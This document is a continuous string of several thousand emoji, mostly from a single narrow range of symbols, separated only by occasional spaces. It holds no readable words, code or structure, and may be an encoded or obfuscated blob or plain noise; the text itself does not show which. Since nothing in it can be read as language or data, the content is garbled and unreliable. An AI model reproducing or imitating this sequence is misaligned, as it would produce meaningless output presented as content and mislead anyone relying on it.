👊👙🐚👍👚👈👀🐜👎👙🐜👧🐚👐🐧👑👢👘🐩👁🐟👙🐻👅👎👄👡👍👇👍🐻👁👂👉👀👅👀👚🐜👟👟👄👣👀👱👎👍👑👘👋🐚👁👪👋👥👁👠👉👀👉👆👐👀👯👂👜👍👛👐👚🐌👛👎👙👍👑👏👍🐟🐬👎👍🐟👁🐟👊👥🐹👎👙🐜👧🐪👍🐚👑👘👉🐚👣🐭👉👀👣👅👍🐚👁👀👍🐩👫👘👘🐚👛🐿👊👢👑👡👊🐌 🐬👎👐👣👉🐟👍🐜👧👏👜🐿👅👎👙🐟👉👱👍🐟🐚👊👍🐩🐌👱👈👏👟👎👍👀👈🐧👑🐻🐜👑👜👍👅👪👙🐜👑👠👉🐩👟👊👍👎👫👎👐👍👣👎👚🐜 👑👘👉👏👉👌👍👀👪🐚👜👣👣👍👑🐟🐰👌👘👱🐜👎👐🐧👑👘👍🐩👁🐿👋👡👉👌👘🐩👉👊👑👍👑👘👚👣👧🐟👑🐟👣👊👄👌👧🐩👍👣👚🐚👛🐩👄👰👊👏👟👍👙🐟👉👐👐👀🐚👊👚🐚👣👩👎👥👅👆👍👀👫🐪👍👀🐚🐧👍🐧🐚🐌👉👢👑👍👙👏🐹🐿👍🐩👯👘👎🐜👍👬👎👣👛👅👙👀👟👊👍👡🐹 👘👍🐩👅👪👚🐌👟👊👙🐟👉👏👋👍👍👮👌👣👑👪👑🐿👛👋👄👌👣🐫👌🐚👟👪👌🐩🐌👰👘🐿🐹👍👙👏👄👯👐🐧👑👪👍👍🐜👬👑🐌🐬👠👉👥🐞👮👍🐜👑👊👈🐚👑👩👄👍👑👅👍🐜👁👏👍👀🐚👊👜👣👑👫👄👌👑👣👍👣👑👱👍🐩👯👮👘👍👛🐟👊👏👧👏👍👣👑👟👍👡👁👊👊🐜👑👩👎👀👫👊👄🐧👁👌👎👎👫👊👈🐧🐬🐟👎👣👍👋👎🐟👉👇👍👡🐹👮👊👍👌👰👛🐟🐰👎👙👌👧👀👑👌👛👊👍🐩👁🐿👌👢🐰👌👍👣👧👱👍👡🐜👘👎👎🐜🐟👘🐜 👅👠👉👥🐞🐩👍🐚👑👎👐👎🐌👯👌👥👅👏👎🐟👯👊👌👢👍👮👎🐜👉👎👎👥👛👟👉👣👐🐩👌👀👫👮👙🐜👁👪👊👡🐜👎👙👏👟👃👐👍👑👂👚🐩 👅🐟👙🐜👛👊👙🐌👧👀👍👏👧🐹👄👎👄👯👑🐿👁👘👉👣👧👊👋👎👯👂👎🐜👑🐟👎👀🐜👢👄🐻🐜🐿👍👀🐬👊👘🐚👁🐭👙🐜👛👍👙👏👟👱👋👣👑👪👍👀🐜🐜👋👣👛👠👍👏🐹👁👎👍👍👎👋🐚👣👎👊👢👑👏👙👎👟👘👑👎👫👘👄🐚👍👪👎👣👛👢👉🐧🐬🐟👋👣👑👢👋👣👑👏👛🐪👧👎👙👏👟👋 👌👱🐞👯👊🐜👁👐👘🐟🐜👊👍🐩👟👍👎👎👫👢👙🐩👀👯👍👥🐜👉👙👌👑👏👐👢👑👮👄🐜👧👍👘🐟👫👌👘👱🐜👑👌👎👯👪👐👍👑👏👘🐌👯👑 👘🐚👧👘👑👌👑👢👚👀👁🐿👉👣👅👎👄👌👐👱👍👀👯👊👊🐚👁👫👍👥👅👊👙🐟👯👟👌👀🐚👊👚🐜👍👫👜🐿👛👠👄👎👉👏👍👎👫🐧👌🐧🐚👎👙🐻👉👏👘🐩👟👏👍👢👛👂👎🐟👍👀👋👣👧👎👉👍👊👱👍👡🐜👘👘🐚👛🐿👍👢👟👇👍👢👧👆👍👣👉🐜👄🐜👑👪👑🐻👉👟👄👎👯👏👌🐩👯👢👘👣 👅🐜👅👍👛👑👙🐜👁🐿👍👢👑👑👜👎👍🐿👛🐟👧👠👉👥🐹👎👍👎🐚🐫👘🐚👉👪👎👥👍👉👘👣👧👐👍👢👍👂👘🐜👑👚👉👀👫👊👄👎👉🐚👍🐟👯 👊👘🐌🐚👫👘🐟🐰👎👍🐪👉👏👎👍👑👪👍🐩👅🐟👎👀🐜👊👎🐜👁👍👍👀🐚👱👄👎👍👪👙🐜👑👘👉👱👣👍👐👏👧🐟👍🐚👢👮👎👀🐜👎👄👢👧 👀👍🐟👧👊👍👎🐌👰👌👣👅👘👍👣👧👟👐🐩👯👮👉🐚👧🐟👘🐜👅👅👄👀👞🐚👍👀👯👢👛🐚🐌👯👙🐜👟👌👘🐩👉👏👐👀👯👂👚🐚👌👮👑🐜👅👡👄👎👯👰👍🐩👯👢👋🐚👑👬👈👣👛👑👍👎👈👮👍🐧👑👁👛🐩👅🐜👘🐜👧👅👉👥🐹🐩👍👡👁👱👜🐜👅🐿👉👢👑👣👉👀👉👊👐👋🐜👮👙🐚👑👏 👄👋👉👟👄👢🐬🐧👍👀👫👢👐👍👁👌👍👣👟👑👙👏👉👃👌🐩👯👑👜🐜👍👩👚🐟👯👊👘👱🐌🐧👍👋🐜👊👙🐩🐜👪👊👣👟👟👊🐌👁👎👐👣👉🐟👛👣👑👩👎👀🐜👡👄👢👑🐟👍🐟👯👊👋👣👑👬👈👏👛👎👉👣👧👋👌👋🐜👘👚👢🐚👎👎👢🐬👎👉👢👧👐👎👎👫👢👙🐩👉👪👎👏👛👏👙👏👉👌👌👡🐹👘👊👍👣👍👎👀🐜👌👙🐌👧🐚👌👎🐧🐬👍🐩👁👌👉👋🐹👑👜👢👧👇👐👱🐜👮👊👍👅👫👛🐜👅👅👄🐌👧👍👍🐚👛🐧👙🐚🐌👮👅👌👛👏👙 🐜👑👌👍🐧👛👊👌🐜👑👚👈👥👛👋👍👣👍🐬👑🐌👚🐬👍🐩👁👍👚🐌👣👘👍👎👉👭👍👡👁👂👊🐜👍👩👆👍👍👎👙🐿🐹🐭👍👀👧🐟👐👍👛👏👉👢 👛👟👉👢🐬👧👌👀🐬🐹👄👣👐👯👎👣👛👑👍🐧👍🐫👍👎🐬👆👎🐜👛🐿👜🐟🐰👍👘🐚👑🐪👍🐧👑👊👍🐚👛👬👑🐟👟👊👙🐜👢👰👍👎🐚🐧👛🐩👁🐟👊👥👅👋👘👢👑👏👌👥👧🐟👊🐜👑👌👊👢👫👊👄👢🐬🐿👐👢👑👊👍🐧🐧👯👊👡👁👎👍👣👁🐺👋👍👛👅👜🐜👧👀👊👀👟👊👄🐚👁👌👍🐜👍👘👛🐚👛👎👑🐜👟👣👉🐧👑👘👍👀🐚👊👎🐜👐👰👜🐟🐰👟👄👌👊🐩👐👢👚🐬👍👍👑👪👎👥👧👌👙🐜👧👱👍👀🐚🐟👉👣👉👪👑🐟👣👎👎🐌👁👂👍 🐚👑👎👍🐚👈👯👙🐜👛👋👘🐚👧👐👐👣👛👊👐👍👧👏👛🐟🐜👅👄👍👑👱👍🐩👯👢👘🐚👀👮👅👌👛👌👙🐜👧👩👍🐟👯👘👎🐟👈👱👚🐜👛👠👎🐟👟👌👍👏👧🐹👜🐜👅🐟👋👣👣👠👉👢🐬👊👋👎👯👂👍👣👛👏👄👏👧👅👍👣👧👏👐👢👟👂👐👍👁🐭👙🐜👟👑👘🐚👧🐪👑👎👯👑👜👌🐬👏👛 🐜👍👟👜👢👑👐👎👋🐹👊👚🐚👐👮👄👏🐜👊👘🐩👟👘👍👡👅👊👘🐜👢👰👄👌🐰👊👍👢👑🐧👌👀👯👆👍🐧🐚👍👎👏👧👎👙👏👟👋👌👱🐜👂👛🐜👑👬👋👣👅👠👉🐪👟👊👍👎🐧👯👙🐩👅🐟👍👥👉👣👊🐟👉👧👋👍👛👊👎🐜👑👏👛🐻🐹👍👄🐻🐜👏👐👢👉👊👍🐚👁🐭👍👣👟👎👙🐟👉👃👍 🐧👛🐟👉👢🐰👎👍👣👛👣👘🐚👊👰👍👀👧🐟👐👎🐌👯👎👏👟👎👙👢👧👟👌👡👅👊👋🐚👣👌👉👥👛👋👍👣👧👯👌🐩👧👊👍🐧🐚👎👍👡👍👍👄👥👉👩👐👎👯👆👉👢🐬👎👑🐜👧👠👉👢👧👀👍👀👫👘👌🐚👐👯👑🐿👅👏👙👏👟👏👋👌👉👉👜👍👑👏👄👋👉👠👄👍👍🐬👌👣👟👮👌👀👁👍👎👣👟👎👙👋🐜👊👋👌👑👪👅👣👁👫👛🐜👅👅👍🐚👀👯👍👣👛🐫👐👍👐👯👊👣👑👡👉👱👣👏👍👡👅👊👎🐜👛👎👎👥👅👎👄👢🐬🐿👍🐩👯👊👘👍👛🐟👊👥👣👎👙👋🐌👮👑🐻👁👎👚🐚👛👬👌👢🐬👏👉👋👍👐👍🐜👑👎👚🐧🐬👪👙🐜👑👍👙👌👑👏👋👌👉🐟👎👍👑👎👘🐟👫👏👉👣👧🐧👍👎👯 👆👐👍👑👪👚🐟👟👑👄👥👟🐪👌👡🐜👮👉🐩🐜🐟👋👢🐬👅👙👎👚👯👍👀🐚🐫👘🐩👈👯👌👏👟👎👎🐟👯👌👍🐧👛👊👚🐜👌👮👍👋🐜👏👉👀👯🐧👋👍👑👆👎🐜👁👪👊👣👟👎👄👡👍👩👍🐟👯👂👛🐟👉🐌👋👣👟👟👄👍👧👰👍👡🐹👘👊👀👈👰👋👢👑👟👉👥🐹👆👌👀🐬🐺👄👣👑👚👊👥👧 👣👉👢🐬👀👌👀👫👘👙🐜👁👫👌👀🐰👑👍🐌👑🐪👐👡🐜👘👎🐌🐚👌👌👀👟👅👘👱👌👮👍👀🐚🐧👘🐚👣👎👊👏👣👟👉👱👣👍👍👢👍👂👋🐜👑 👏👜🐟🐜👡👄👍👑👰👎👢👛👊👋👣👑👌👉👋🐹👎👍🐌👑👭👐👡👁🐟👚🐚👅👪👘🐜👑👠👍🐩👟👏👎👎👯👊👋👀👍🐟👎👏👛👏👙🐿🐹👩👋👍👑👮👜👍👧🐜👍👋🐜👟👍👢👧🐚👌👍👟👢👍🐚👁👪👚🐜👉👍👍🐌👑👟👐🐩👪👯👍🐚👛👩👅👍👛👊👘🐪🐹👑👍👀🐧👮👜🐟👀👰👍👥👅👏👙👣👁👆👍👣👑👮👚🐚👑👫👜🐟🐜👣👙🐜👧🐧👑👌👟👢👘🐜👑👫👌👢👟👍👄👎👟🐪👍🐧👑👑👜👣🐜👩👘🐜👛👟👘🐪🐹👈👍👀👧🐟👌🐩👉👎👍👥👅👉👙🐟👉👧👍👀👫👮👍👣👐👯👑🐻👉👠👄👢👣🐫👐👢👑👢👐👍👁👪👎👣👅👑👙🐜👑👟👐👡🐜👊👎🐟👉👀👑🐜👉👎👙🐜👐🐚👎👢👍👡👅👍👐👰👊 👣👑👡👉👎👯👟👍👣👛👊👛👣👑👚👊👢👫👋👉👣👑👰👋🐚👑👎👍🐩👁👀👈👡👑👎👙👏🐹🐿👎👍👑👢👎🐜👁👩👑🐟👟👊👘👱👍👮👍👎🐧🐚👈👢 🐚👎👎👏👟👏👙🐟👉👘👍👡🐹👎👅🐜👑👏👅👍👅👍👄👢👧👰👋👣👑👪👎👀🐌👯👚🐟👟👎👄🐜👧👱👍👣👑👆👚🐚👅👩👅👍👅👠👉👀👫🐬👍👣👚👯👄🐌🐚🐿👉👥👁👅👍👀👯👊👐👋👅🐺👎🐜👣👪👘🐟🐰👎👉👀👯👏👍🐩👫🐧👘👢🐚👩👅👌👟👑👘🐚👧👭👍👡🐞👮👜🐜👅👫👆👍👟👟👄👌👧🐻👍🐜👑👢👋👀👍🐟👚🐌👣👋👙👎👟👋👋👋👁👊👍👍👑🐟👍👀🐜👢👄👢👑🐿👍🐩🐬👊👋👣👅🐿👘🐜👛👌👍👣👑👱👋👢👑👘👎🐌🐬👍👆👍👟👊 👄🐿🐹👏👍👡👁🐫👘🐚👑👫👊👣👣👟👉🐌🐬👍👍👣👑👮👘🐜👐👮👍👋🐜👎👙🐜👁👱👎👢👌🐚👘🐌🐧👮👊👢👫👎👄👍👧👏👍👡🐜👍👜🐜👛👪👘 🐜👉👠👉🐪👟👭👍👎👧👂👙🐚👛🐟👙🐿👁👏👙👀👉👎👌👀👯👮👜👣👐👰👛🐻🐹👟👘👱🐜👏👐🐧👟👪👍👎👁🐟👚🐿👁👑👍👀👉🐟👑🐻🐜👢👎👎👅 🐟👑🐟👣👏👉🐩👟🐫👍🐩👫👊👈👀👍🐟👎👏👟👍👙🐟👯👊👌👀👯👮👎👍👍👚👊👀🐰👏👙🐟👉👐👋👍👟👮👋👣👑👪👚🐜👟👑👘🐩👟👃👎👍👑👂👅👀👁🐟👘🐜👧👟👄👏🐞👱👎👣👛🐫👎👀👍👍👅👍👟👢👉👣👑👊👑👎👫👘👎👍👛👌👈👀🐰👡👄👍👣🐪👋👍👟🐟👌🐩🐌👰👘🐟🐜👎👘👢🐬 👭👐👌👑👩👜👌🐚👍👆👍👅👎👘🐪🐹🐭👎👍👍👢👙🐚👉👪👑🐌👑👋👙🐌👧👏👐👣👟👊👚👣👉👩👎👥👅👏👉👣👁🐚👍👎👯👎👘🐌🐚👎👚🐜👣 👏👍🐪👉👩👍👋🐜👘👉🐚👍👪👍👣👉👠👍🐟👯👮👍🐜👑👘👛🐩👍👎👎👣👟👢👉🐌👁👎👋👌👉🐟👎🐜👣👩👌👣👅👎👄👌👊🐩👍👀👯👊👍🐩👁👌👉👢👯👍👙👏👟👇👐👱👁🐟👉🐚👛👫👙🐜👅👟👄🐧👁👘👍👀🐚👮👉🐚👣👎👙🐜👛👋👎🐟👟👧👌👢👑👮👍🐜👣👪👑🐻👉👌👄👍👧👯👌👀👫🐧👍🐜👑👫👌👣👣👘👉👎👄🐚👍👋🐞👯👍🐩👅🐜👙🐜👑👠👉🐩👟🐩👎👍👛🐫👋🐚👁👩👅👍👛👘👉👥🐹👧👌👀👫👮👊👍👑👫👛🐟🐜👏👙👍👑👐👍 👀👫👊👘🐚👀👱👈👥🐹👍👙👋👍🐻👍👡🐜👘👎🐌🐚👌👌👀👣👅👍👣👐🐚👍👎👯👊👛🐚👍👫👊👣👑👏👙🐟👟👏👐👣👉🐟👌🐚👉👍👎👥👛👊👍👢👧👱👐🐧👛🐫👍🐩🐜🐭👍👡👑👏👍🐪👉👟👎👍👛🐟👍🐚👅👐👙🐟👟👊👜👀👯👐👍👀👧👆👌🐚👛🐟👑🐜👛👘👉👋👣👚👋👍👑👮👄👍👍👫👜🐜👅👟👉👋🐹🐫👌🐩👯👘👍🐩👁👌👉👋🐹👍👜👢🐜🐫👌👡👁👂👉🐚👛👪👘🐟👟👣👙👏👟🐩👍👣👛👮👉🐚👣👏👍👥👅👏👎🐟👯👚👌👡🐹👘👎🐜👉👍👌👢👛👏👍👣👧👏👐👌👛🐧👎🐜👁👪👚🐻🐹👎👍🐪👟👇👎👍👑👘👚🐩👅🐿👘🐜👧👅👙👀👞👱👍👎👧🐟👛🐚👀👰👉👢👛👌👘👱👍👆👐👣👛👡👜🐜👑👫👄👋👉👟👄🐻🐜🐿👍🐚👟👊👍👍👛🐿👘🐟👟👍👙🐟👉👋👍👡🐜👪👚👣👧🐟👋👣👟👎👙👏👞👮👍🐜👑👘👋🐩🐜👩👄👍👛👡👉🐌👁👟 👍👣👛👊👌🐜👑🐌👉👀🐜👢👍👢👑👱👎👢👑👮👍🐚👐👯👉👡👅👎👘👢👁👟👌🐩🐚👉👜👍👉👩👎👀👟👊👙👢👁👇👍👎🐧🐚👈🐧🐚👪👎👥🐜👋👙👥🐹👪👌👀👪🐚👊🐜👑👫👅👍👛👏👉🐧👧👀👍👎👪🐬👎👀👁👌👉👥👑👑👘👢👑👟👐🐚👑🐟👛🐜👁👪👑🐌🐬👟👜👣👐🐩👍🐚👉🐺👍🐩👀👯👍👏👣👋👘🐩👟👎👐👢👛👊👍👣👑👫👜🐟🐜👅👄👍👧👐👑👌👛🐟👘👢🐚👐👈👢👧👏👘🐚👧👋👍🐟👯👘👎🐟👉🐭👈👣👛👎👉👍👧🐩👎👏👧🐟👍👀👍👎👊👣👣👠👉🐩👟👌👌👣👍👮👎🐜👛👏👜🐟🐰👌👙👍👑🐿👐👋👅👢👎🐟👁👩👅👍👟👎👙👏👉👟👋👍👑👢👚👣👑👌👉👀👟👎👘🐪🐞👯👍👍👑👊👘🐚👐👯👊👥👅👡👉👣👁👎👍👢👍👘👘🐜👢👰👚🐪👟👎👄👎👉👰👋👣👑👢👌🐩🐌👱👈👣👧👎👙👋🐹🐪👑👌👛👁👜👍👑👬👋👣👟👠👙🐌👧👇👍👀👯👘👛🐩👄👯👎👥👉👣👉🐧👑👪👐👢👑👪👅👍👧👍👘🐟👫👟👉👣👧🐧👍👎👫👊👍👢🐚👏👘🐻👅👎👄🐜👧👟👐👱🐜👢👛🐟🐜🐟👑🐟👟👟👄🐧👁👍👍👣👉🐺👐👍👣👏👋👥👅👘👊🐜👁👩👌👀👪🐚👋🐚👉👍👍👥👛👎👙🐜👣🐫👎👢👉🐺👘👌🐚👍👍👡👅👌👙🐜👑👩👍🐧👛👂👉🐚👛👪👍👣👛👅👉🐚👁👌👍👣👍👘👐👎👅👎👉👥👍👘👉👣👁👏👐👢👑👑👄👍👛👩👍👀👧👆👍👣👣🐬👌🐩👯👘👘👣👁👏👜🐟👟👎👙🐟👉👋👑🐟👯👘👚👍 👅👩👛🐜👉👊👙🐜👧🐬👍🐻🐜👘👍🐚👐👰👊👢👣👉👘👣👧👏👐👣👟🐺👊🐜👛👎👎👀👫👏👉👢👧👰👐👌👛👮👌🐧🐚👬👘🐜👣👎👘👢👁👏👌👱 🐜👆👉🐚👛👬👌👀👯👊👄🐚👁👈👍👎👧🐺👍🐧🐬🐟👎👣👟👆👍👋👣👐👌👀🐚👊👊👍👧👍👐👱👍👎👙👌👍🐫👍🐩👧👆👍🐧🐚🐟👚🐜👉👎👘👢 👑👩👑🐜👑👮👊🐟🐜🐟👋👀👣👊👙👏👈🐚👍👀👯👡👜🐌🐚🐿👌👏👣👋👘🐩👉👌👐👀👪🐚👍👍👣👏👛🐟🐜👏👉👀👯👱👐👌👚🐬👍👍👁👫👜🐜👟👎👄👥👈👮👐👎👪👯👚👢🐬👍👘🐜👧👟👄👏🐹🐩👍👀👧🐹👛🐩👍🐟👋👥🐜👋👙🐟👉👏👐👢👍👮👊👍👛👎👌👢👛👏👙👍👑🐿👐🐧👍👪👍🐟👁👏👘🐜👉👌👍🐌👑👃👍👣👑👘👉🐚👑👫👉👀👫👅👘🐚👧👀👍👡👀🐚👌🐚👉👪👋👢👟👟👉👀👉👍👍👀👯👍👜🐜👐👮👎👣👧👣👍🐚👑👀👋🐚👛👊👋👣👑👏👆🐿👣👏👍🐪👉👚👋👣👑👘👍🐚👛👬👋👣👟👟👘👱👍👎👍👀👯👘👛🐩👍👪👎👥👉👣👉🐪👉👚👋👍👑👂👜👣👛👩👎👀👫👟👍👢🐬🐟 👌🐩🐚🐟👍🐧🐚👎👚🐜👟👎👘👢👑👎👑👌👑👢👛👍👅👩👅👍👛👠👍👢👧🐫👍👣👉🐺👍🐩👈👯👑🐌👛👠👊🐌👧👐👐👀🐚👊👍👍👍👫👅👌👅👊👄👍👣🐬👑🐌👉🐺👘🐌🐚👍👙🐻👅👌👙🐜👑👩👍👣👛👂👉🐩👅👀👊👣👛👊👄🐩👟👊👍👡🐹👢👌👀👍👫👋👢👛👘👉🐩👯👐👌👡👁👊👍👣👑👪 👘🐿👛👉👙👍👑🐿👍🐟👫👢👍🐟👁🐿👜🐟🐰👍👘👢👁👟👍👢👑👘👚👍👅👫👆👍👛👠👉🐚👁👑👎👢👍👢👄🐟🐜👍👄👏👁👠👉🐜👁👏👐👣👉👎👍🐜👑🐿 👜🐟🐜👆👙👌👧👀👌👀👯👢👘👍👛🐿👑🐪👧👏👙🐜👧👟👎👍👛👊👉👢🐚👎👎👀🐜👊👙🐜👧👭👎👣👛🐧👐👍👛👎👑🐜👍👉👙👋👣👚👋👍👑👪 👄🐚👉👎👘🐌👛👍👄👢👍🐬👐👌👛🐟👍🐩🐜👩👅👏👑👑👍👍👧👰👑👍👌👯👍👢🐰👎👋👣👛👟👄👎🐰🐪👍👣👚👯👅🐜👈👯👎👏👛👅👍👣👧👐👍🐧👟🐺👎🐜👣👪👘🐟🐰👎👉👣👐🐩👌👀👫🐧👘🐚👁👪👚🐻🐜👎👉🐪👟👇👐👍👑👁👜👀🐜🐿👆👍👛👎👜👢👀🐧👎👎👧👂👋🐚👀👯👎👥👍👍👙 👏👟👌👌👡🐜👂👛🐚👑🐟👎👀👫👍👄👎👉🐿👍🐩👯👊👘🐚👁🐜👊👣👛👌👍👍👁🐿👍🐚👑👘👎🐟👉🐿👆👍👛👟👜👢👐👯👎👍👍👊👛🐚👛🐟👎👥👅 👡👉👏👉👟👍👡👅👊👊🐜👣🐭👉👣👛👡👄👏🐹👀👐👌👛👊👙🐟👁🐟👙🐻👍👎👙👋🐜🐪👌👡🐜👪👎🐜👁👐👘🐟🐜👊👍🐩👟👐👎👍👉👂👙🐚👍👎👎👥👉👢👊🐟👉👍👋👍👑👮👄🐜👧🐜👘🐟👫👎👉👣👧👱👐🐧👟👮👎🐜👛👀👈👢👟👎👘🐚👍🐫👍🐧👑👎👚👀👁🐟👎👢🐬👠👙🐌👧👭👍🐚👑👢 👅🐜👈👯👊👥👁👆👍👀👉👟👌👀🐬🐺👚🐜👍👫👛🐿👛👋👍👣👧🐧👑🐌👛🐟👘🐧🐚👏👌👢👣👎👙👏👉👱👍👣👛👂👊🐜👍👬👈👣👑👟👘🐚👧👄👍🐟🐚🐫👐👎👅👪👘🐪👧👟👉🐩👯👆👍👀👯👑👄🐜👑👚👊👡🐹👑👍👀👉👀👌👀🐬👆👘👣👁👫👘🐜👟👑👍🐌👑👟👑👍👑👮👍👣👛👬👋👣👛👎👘 🐪🐹🐭👎👋🐹👢👅🐜👌👰👊👣👛👋👙👌👑👐👍👢👍👂👘🐜👛👎👑🐌👛👎👄👎👉👑👐👢👛👊👌🐩👁👏👘🐜👧👏👍🐪👉👩👍👎🐚👉👜🐜👧🐟👑 🐜👟👠👘👱👍👐👍🐜👛👱👄👍👅🐟👎👏👣👣👉👱👣👊👍👀👫👪👅🐜👌👰👅👎🐰👎👄👌👧🐧👍👍👟👢👎🐜👑👪👚🐌👫👘👍👍👧👏👍🐚👛🐟👉🐩🐜🐿👙🐜👟👊👘🐪🐞👱👍👀👯👢👛🐚🐌👰👌👏👟👘👊🐌🐬👧👌👀👯👮👍🐚👣👪👍👀🐜👏👉👣👁👎👍👎👫👢👎🐜👑👪👚🐜👟👑👍👎👈👮👍🐧👑👂👚🐩👅🐌👈👣👛👎👄🐩👟👈👍🐚👑👘👐👎👄👰👋👢👟👟👉👥🐹👆👐👀🐚👥👜👣👑👏👚🐌👛👢👄👌🐬👀👌🐩👫👊👘👍👁👩👅👍👣👍👙🐜 👑🐪👍👋🐜👘👛🐌🐚👀👑🐟👯👊👍🐜👑👁👍👎👯👊👙🐚👐👯👑🐌👟👟👉👀👯👘👐👣👟👅👜🐜👑👚👉👥👅👡👙🐿🐹👀👋🐚👛👮👘👍👁👪👎👏👧 👎👄👥👉👟👍🐻🐜👑👜🐜👅👬👋👣👉👠👉🐩👟👐👍🐜👛👮👍🐚👍🐟👎👢👍👊👙👌👑👩👍👀👫👘👜👣👛👩👎👥👛👎👄👍👣🐫👌👀👧👆👍🐩🐜👩👊👀👟👍👄👡🐜👊👑👍👑👊👚👣👛👫👘🐜👅👠👘🐧👧👈👍👣👚👮👄👍🐌👮👄👏👅👏👙👢👑👌👐👀🐬🐺👚🐚👍👫👚👱🐜👋👍👣👑🐧👑🐌👛🐟👘👍👁👩👚🐻🐹👎👍🐪👄🐚👍🐩🐚👂👍👍👁👬👎👣👧👟👘🐚👧👊👎👋🐜👘👉🐩👉🐟👊👥👅👘👉👋👍👊👑👎👯👑👄👣👐👯👌👢👅👎👄👢👣🐫👍👣👟👪👍🐟🐌👰👘🐜👛👑👘🐩👉👭👍👀👯👘👛🐟👍🐿👉👢🐬👅👍👥🐹👑👎👣👍👢👉🐩🐜👩👄👍👛👏👙👀👯👐👐👋👁👊👛👣👑🐿👜🐟🐜👎👍 👢👧👍👌👎👯👢👍🐚👁👎👚🐻👁👏👍🐪🐹👃👌👡👁👅👜🐜👉👬👋👀👟👊👙🐿🐹👮👍👀👧👂👙🐚👛🐟👑🐜👟👣👉👱👣👍👐👣👑👘👊🐜👐👯👘🐟👫👏👉🐧👧👁👌👎🐬👂👍👍👑👪👚🐻👅👘👍👣👧🐪👌👀👯👘👍👍👁👫👘🐜👛👟👄🐧🐜🐫👍👣👑👘👙🐩🐌👯👑🐌👟👋👘🐩👉👐👐👀👫👘👍👣👣👩👑🐜👅👊👄👏🐹🐜👌👍👟👊👍🐧🐚👏👌👥👣👌👙🐜👧👩👍👋👁🐜👜👣🐜👪👚🐜👛👠👍🐌👀👱👎👣👍👢👊👀👍👎👍👥👍👌👙🐟👟👐👌👡🐜👂 👎👣👛👏👜🐟🐰👍👄👍👧👏👍👀🐬🐟👌👀👁👍👎👣👍👑👘🐚👧👟👋👌👑👮👍👣👧🐜👑🐟👟👊👙🐿🐹🐬👎👎👫👊👌🐚👑👫👊👢👟👟👊🐌👧👏👐👎👫👮👋🐜👑👪👎👢👫👎👍👢👑👱👐🐧👛🐫👘🐌🐧👮👊👣🐜👎👄👥👟👏👎👍👛🐜👜👍👍👪👑🐜👛👠👘👱👍👎👎👎👯👢👅🐜👑🐟👌👣👛👎👙👀👉👏👐👢👑👪👅🐜👛👩👌👢👅👎👄🐻🐜👱👌👀👧👊👎🐟🐌👰👘🐜🐹👎👄🐟👉🐟👑👍👛🐟👊👍👉👪👎👀👟👟👜👣👑🐜👍👀👯👎👐👍👣👏👌👢👟👎👘🐩👯👍👐👏👧👪👍🐜👣👩👑🐻👅👅👍👣👧👀👑👌👑👘👋🐚👐👮👎👢👣👍👄👥👉👟👐👎👯👂👛🐟👍🐿👉👣👛👠👉👥🐞👱👎👢👛🐫👐 👎👅👎👋👥👁👘👉🐪🐹👊👑👎👯👘👎👍👑👩👐🐪👟👊👄👍👍🐫👌🐩👯👢👘👣👁🐟👚🐜👟👑👙🐟👟🐻👌🐧👑👢👍🐚👛👫👛🐜👟👊👘🐪🐹🐬👍🐩👫👢👙🐚👌👰👉👡👑👎👙👀👉👏👍👥👧🐹👜🐜👍👏👚🐪👟👡👄👎👉👑👐👌👑👊👘👍👀👯👊👀👟👎👙👏🐹🐻👍👡🐞🐚👉🐚👛👪👘🐌🐰👎👍🐟👯👑👍👎🐧👯👌🐚👅👎👚🐜👑👑👜👣👑👏👐👣👍👎👅🐜👐👰👚🐌🐰👎👄🐻🐜🐿👐🐧👑👊👍🐩🐜👩👎👥👁👘👉👣👧🐪👌🐧👛🐟👉🐚👉👫👙🐜👅👠👎🐜🐌👯👍👀🐚🐫👘👀👍🐜👄👌👑👅👍👎👟👋👐👀👫👮👋🐚👑👫👄👍👅👎👍👀👯👐👑🐌👛🐟👎🐜👁👪👚🐿👟👎👉👱🐞🐚👍👀👯👂👛🐟👍🐟👘🐜👛👅👙👣👀👱👎👎👫👘👊🐩👅👩👅👍👍👊👙🐟👟👊👋👍👟🐺👜👍👛👎👎👀🐜👟👄👌👣🐫👍🐟🐬👆👘👍👁👫👌👥🐹👎👘🐚👑👂👋👌👑👘 👚🐚👢👱👘🐜👛👅👍👎👮🐧👎👋🐹👎👚🐚👐👰👊👢👑👆👎🐌👁👎👐👢👛👊👉🐜👧🐌👉👀🐜👢👉🐚👑👀👌👀🐚🐧👋👀👁🐜👚🐻👑👎👘👢👊👮👐👋🐜👪👍🐚👉👩👙🐜👁👟👜👀👯👐👎👍👛🐧👐👎🐜🐟👚🐜👟👣👉👥🐹👪👌👡🐹👘👊👣👑🐿👜🐜👛👌👙🐜👧🐚👌👎👧👎👍🐚👀👱👘🐿🐜👌👙🐜 👧👟👍👡🐜👢👛👍👉👪👘🐟👟👟👜👣👑👏👍👀🐚🐫👐👎👈👰👉👢👛👏👎🐟👉👏👍👢👍👘👎🐜👣👩👎👢👫👣👙🐟👉👰👍👣👉🐟👘🐜👁👌👈👡 👅👍👄👥👈👮👍👡🐞👯👍🐩👅🐟👘🐜👛👟👘🐚👧👏👎👣👍👘👘🐩👄👰👉👢👛👍👙👎👟👆👐👢👍👮👅🐜👑👪👑🐿👛👋👄👢👣🐫👍🐚👟👊👍👀👁🐟👚🐟👟👍👙👏👄👯👍🐚👑👎👛🐟👍🐟👑🐌🐬👅👍👀👮🐚👎👢👍👊👈🐩🐜🐜👄👍👑👠👉🐌🐬👍👐👢👑👘👚👣👑👪👑🐌👫👊👄👢🐬👁👌🐩👯 👢👌🐧🐧👰👘🐟🐰👎👘👢👁👩👍👎🐚👎👛🐜👉👩👑🐟🐜👊👄👥👟👑👍👎👧👂👙🐚👑👪👎👥👅👟👊🐟👉👊👐👣👑👘👊🐜👑🐿👛🐟👫👎👉🐧👧👀👑👌👚🐬👍👀🐜👩👊👀👟👎👘🐚👧👟👐🐚👑👆👛🐌🐰👎👑🐟👣👊👄👌👧👘👍🐩👫👎👘🐧🐚🐿👉👣👑👅👎🐌👧👧👌👢👑👂👎🐜👣👪👌👣👛👎 👉👣👧👀👑👌👛🐟👋🐩👁👍👚🐌👣👍👙👏👟👩👐👍👑👘👉👣👑👐👑🐜👛👠👍🐌👌👮👍👀👧👂👌🐚👁👩👅👍👛👟👉🐪👉👋👐👢👑👮👛👣👛👪👑🐻🐹👑👍👀👉👏👎👢👑👊👘🐚👁👩👅👍👑👌👍👣👧👱👋👋🐜👊👍🐩🐜🐜👑🐜👛👅👘🐚👐🐩👎👍👍👢👉🐚👛👪👎👢👑👏👘👢🐬👏👌👣👑👮👄 